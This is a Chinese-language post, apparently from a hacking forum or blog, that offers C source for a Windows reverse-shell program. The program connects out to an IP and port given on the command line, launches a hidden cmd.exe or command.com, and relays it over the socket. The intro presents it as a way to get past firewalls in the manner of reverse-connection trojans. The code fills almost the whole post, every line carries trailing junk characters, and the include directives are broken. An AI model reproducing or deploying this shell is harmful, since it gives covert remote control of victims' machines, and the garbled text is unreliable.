Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 {=At#*=A  
z-0:m|=yH  
/* ============================== H$-$2?5  
Rebound port in Windows NT 1BD6l2y  
By wind,2006/7 + >sci  
===============================*/ VvgN3e[  
#include $M]%vG  
#include A"/aGCG0z  
\kwe51MQ  
#pragma comment(lib,"wsock32.lib") +|nsu4t,<  
+X!+'>  
void OutputShell(); .9\Cy4_qSd  
SOCKET sClient; S+*cbA{J|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;x>;jS.t  
~! Lw1]&  
void main(int argc,char **argv) .{N\<01  
{ )Ul&1UYA  
WSADATA stWsaData; yer> x  
int nRet; ,eELRzjl  
SOCKADDR_IN stSaiClient,stSaiServer; uU+s!C9r  
O=O(3Pf>  
if(argc != 3) j3P RAe  
{ Rx. rj~  
printf("Useage:\n\rRebound DestIP DestPort\n"); wd`R4CKhP]  
return; %^^h) Wy}  
} rr>~WjZ3  
^~I @ spR4  
WSAStartup(MAKEWORD(2,2),&stWsaData); X"J%R/f  
iE{Oit^aG  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &y3B)#dIJ  
$o+&Y5:  
stSaiClient.sin_family = AF_INET; ~&[u]u[  
stSaiClient.sin_port = htons(0); V/UB9)i+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ._BB+G  
RUrymkHFB  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $u,GVq~  
{ "=`~iXT{e  
printf("Bind Socket Failed!\n"); 0e9A+&r  
return; w:tGPort  
} 3Bd4 C]E  
dt.-C_MO  
stSaiServer.sin_family = AF_INET; zlX!xqHj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 59qnEIi  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GHrBK&  
jg^^\n  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mSj76'L#  
{ /lUk5g^j  
printf("Connect Error!"); J:W'cH$cR  
return; 0N1' $K$\  
} VEo^ :o)r  
OutputShell(); `1p?*9Ssn  
} &(\@sxAyZ  
$WD +Q@6  
void OutputShell() ?hSha)1:  
{ @5*xw1B  
char szBuff[1024]; w2<*$~C]  
SECURITY_ATTRIBUTES stSecurityAttributes; }Ch[|D=Wd6  
OSVERSIONINFO stOsversionInfo; 3&'R1~Vh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Cs;<'[_?YO  
STARTUPINFO stStartupInfo; = P8~n2V  
char *szShell; IgiqFV{  
PROCESS_INFORMATION stProcessInformation; <\xQ7|e  
unsigned long lBytesRead; @{de$ODu  
>?Qxpqf2  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +wjlAqMQ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0eaUorm)  
stSecurityAttributes.lpSecurityDescriptor = 0; ^AH-+#5  
stSecurityAttributes.bInheritHandle = TRUE; wO\!xW:  
W)  
v*gLNB,ZH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H.;yLL=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c( 8W8R  
Kk56/(_S  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kBUufV
~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jM[f[  
stStartupInfo.wShowWindow = SW_HIDE; <W9) Bq4  
stStartupInfo.hStdInput = hReadPipe; 6g5]=Q@U:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *kV#)j  
!%)L&W_  
GetVersionEx(&stOsversionInfo); "$%{}{#W0  
YmA) @1@U  
switch(stOsversionInfo.dwPlatformId) zXDd,ltm  
{
[@s=J)H  
case 1: |7Yvq%E  
szShell = "command.com"; \
6jF{  
break; t-a`.y  
default: (T`q++  
szShell = "cmd.exe"; y#GCtkhi  
break; )[RpZpd`*  
} \j/}rzo]  
)uuwwz  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7j{Te
)"  
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send(sClient,szMsg,77,0); ,$SkaTBe  
while(1) [j1^$n 8V  
{ 4I+.^7d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sF, uIr/  
if(lBytesRead) Xd5! Ti}  
{ +&zb^C`J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !cv6 #:  
send(sClient,szBuff,lBytesRead,0); X$ejy/+.  
} s:G[Em1  
else gx&\Kw6HM  
{ CJtr0M<U+  
lBytesRead=recv(sClient,szBuff,1024,0); \_)02ZT:  
if(lBytesRead<=0) break; ]r]+yM|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); la1D2 lM  
} MH2OqiCI  
} sd]0Hx[  
{m>~`   
return; sL;z"N@PK  
}